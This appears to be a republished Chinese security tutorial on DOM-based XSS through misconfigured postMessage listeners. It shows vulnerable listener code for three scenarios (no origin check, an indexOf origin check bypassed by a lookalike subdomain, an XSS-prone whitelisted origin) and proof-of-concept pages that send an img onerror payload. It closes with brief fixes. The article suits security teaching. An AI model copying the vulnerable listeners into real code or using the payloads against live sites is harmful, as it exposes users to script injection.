尧图网站建设 尧图网络
  • 首页
  • 关于我们
  • 服务项目
  • 案例展示
  • 建站流程
  • 资讯中心
  • 联系我们
首页/资讯中心/详情

利用错误配置的postMessage()函数实现DOM型XSS攻击

利用错误配置的postMessage()函数实现DOM型XSS攻击
📅 发布时间:2026/6/18 16:34:24
本文详细分析了三种通过错误配置postMessage函数实现DOM型XSS攻击的场景,包括无源验证检查、使用indexOf函数进行源验证以及白名单源存在XSS漏洞的情况,并提供了相应的漏洞代码和利用方法。

利用错误配置的postMessage()函数实现DOM型XSS攻击

今天,我们将讨论如何通过错误配置的postMessage函数利用DOM型XSS漏洞。两个站点只有在具有相同协议、主机名和端口时才能相互通信。

如果两个站点不具备上述相似属性,将触发同源策略。

有几种方法可以绕过同源策略,其中之一就是postMessage函数。postMessage方法安全地实现了Window对象之间的跨源通信。postMessage使用两种方法在窗口之间进行交叉通信:

  • window.addEventListener
  • postMessage()

以下是postMessage()函数配置错误并容易受到DOM型XSS攻击的不同场景。

场景1:无源验证检查

在此场景中,没有源检查/验证,这意味着应用程序将接收来自任何使用postMessage()函数的域的消息。

漏洞代码

<html>
<head>
<title>XSS_ME_</title>        
</head>    
<script>          window.addEventListener('message', function(e) {           document.getElementById('s').innerHTML = e.data.s;})
</script>
<form>                            <h3 id="s">Postmessage XSS</h3>            <input type=text> </input>                            <input type="button" value="Click"> 
</form>            
</div>         
</body>
</html>

从代码片段中可以看出,没有实现源验证。

在此场景中,攻击者使用postMessage()函数构建漏洞利用程序,该函数将允许跨源通信,攻击者将能够将XSS有效负载传递到受害者/主应用程序中。

利用代码

<html>
<body>
<input type=button value="Click Me" id="btn">
</body>
<script>document.getElementById('btn').onclick = function(e){       window.poc = window.open('http://begbounty.xyz/postmessage1.html');    setTimeout(function(){        window.poc.postMessage({                                           "s": "<img src =x onerror=alert(1);>",                      },                     '*'             );   }, 2000);
}
</script>
</html>

场景2:应用程序使用indexOf()函数进行源验证

在此场景中,应用程序使用indexOf()函数进行源验证。在这种情况下,函数检查白名单域是否包含在源中。使用indexOf()函数进行源验证是不良实践,因为可以通过创建以indexOf()函数中给定字符串开头的子域来绕过此验证。

漏洞代码

<html>    <head>        <title>XSS_ME_</title> </head>   <script>             window.addEventListener('message', function(e) {                 if(e.origin.indexOf("begbounty.xyz") > 0){                document.getElementById('s').innerHTML = e.data.s;                         }             });   </script> <body>  <div class="container"><form> <h3 id="s">Postmessage XSS</h3> <input type=text> </input>                            <input type="button" value="hehe!">                            </form> </div> </body>
</html>

如上所述代码所示,应用程序正在使用indexOf()函数进行源验证:

(e.origin.indexOf("begbounty.xyz") > 0)

为了利用此错误配置,我创建了一个子域,将在其中托管漏洞利用代码:

https://begbounty.xyz.x3b.in/index.html

利用代码

<html>
<body>
<input type=button value="Click Me" id="btn">
</body>
<script>
document.getElementById('btn').onclick = function(e){       window.poc = window.open('http://begbounty.xyz/postmessage2.html');setTimeout(function(){        window.poc.postMessage({                                           "s": "<img src =x onerror=alert(1);>",},'*'             );   },2000);
}
</script>
</html>

场景3:白名单源/域存在反射/存储型XSS漏洞

<html>    <head>        <title>XSS_ME_</title>            </head>    <script>             window.addEventListener('message', function(e) {                 if (e.origin == "http://149.28.205.217:8083") {                document.getElementById('s').innerHTML = e.data.s;                    }             });                    </script>        <body>            <div class="container">                <form>                            <h3 id="s">Postmessage XSS</h3>            <input type=text> </input>                            <input type="button" value="hehe!">                            </form>            </div>         </body>
</html>

如上代码片段所示,您会发现addEventListener()正在验证协议、主机名/IP和端口号。这意味着该函数将接收来自http://149.28.205.217:8083的消息。

如果http://149.28.205.217:8083存在存储/反射型XSS漏洞怎么办?

由于它存在反射型XSS漏洞,我们可以利用此漏洞注入postMessage()利用代码。

修复方案

  • 在window.addEventListener函数中白名单源
  • 在白名单域时使用适当的正则表达式
  • 在将域/主机白名单到函数之前,对所有页面执行跨站脚本相关的测试用例

感谢阅读本博客。

特别感谢Paresh Parmar。

如果您对博客文章有任何疑问,请随时在https://twitter.com/armaancrockroax?lang=en上联系我。
更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)

公众号二维码

公众号二维码

相关新闻

  • 机器学习领导者分享AI技术与行业洞见
  • el-upload上传配合$confirm使用的问题
  • 10.20 CSP-S模拟35 改题记录

最新新闻

  • 2026 安徽哪所学校护理升学强?5大高升学率中职招生名单 - 小途xt
  • NXP DPAA硬件加速实战:报文头操作与CAAM加密引擎配置详解
  • 2026年论文写作AI工具怎么用?豆包等工具详细使用教程 - 掌桥科研-AI论文写作
  • 2026滁州家长注意!离南京这么近,孩子学建筑去这所公办中职,比在南京打工强 - 我叫小周
  • 50行Python实现人脸检测:OpenCV+Haar级联原理与实战
  • 2026重庆高端珠宝首饰回收排行 权威鉴定实测靠谱商家榜单 - 名奢变现站

日新闻

  • 2026年不锈钢卷板厂家推荐排行榜:冷轧热轧/304/201不锈钢卷板,高颜值耐腐蚀源头厂家实力精选 - 企业推荐官【官方】
  • FLUX.1-dev FP8模型实战指南:24GB以下显卡高效部署方案
  • 2026佛山长途搬家价目表:跨省跨市搬家费用完整计算指南 - 从来都是英雄出少年

周新闻

  • 3步解锁iOS设备:applera1n激活锁绕过完全指南
  • 39 2026 人工智能证书终极盘点,普通人选 AI 证书可以从这些方向入手
  • Redis 暴露公网有多危险?从端口检查到补救步骤

月新闻

  • 【总结】入门篇:50句话让你记住架构核心概念
  • WeChatMsg技术方案解析:实现Mac微信数据自主管理的完整解决方案
  • WeChatMsg:革新性微信数据备份方案,打造你的专属数字记忆库

关于尧图

  • 公司简介
  • 团队介绍
  • 企业文化
  • 荣誉资质

服务项目

  • 定制开发
  • 电商建站
  • UI 设计
  • 运维服务

快速链接

  • 案例展示
  • 建站流程
  • 常见问题
  • 资讯中心

联系方式

  • 📍北京市朝阳区互联网产业园 A 座 10 层
  • 📞400-888-8888
  • ✉️contact@rkmt.cn
  • 🕐周一至周日 9:00-21:00

© 2024 北京尧图网络科技有限公司 版权所有 | 京 ICP 备 XXXXXXXX 号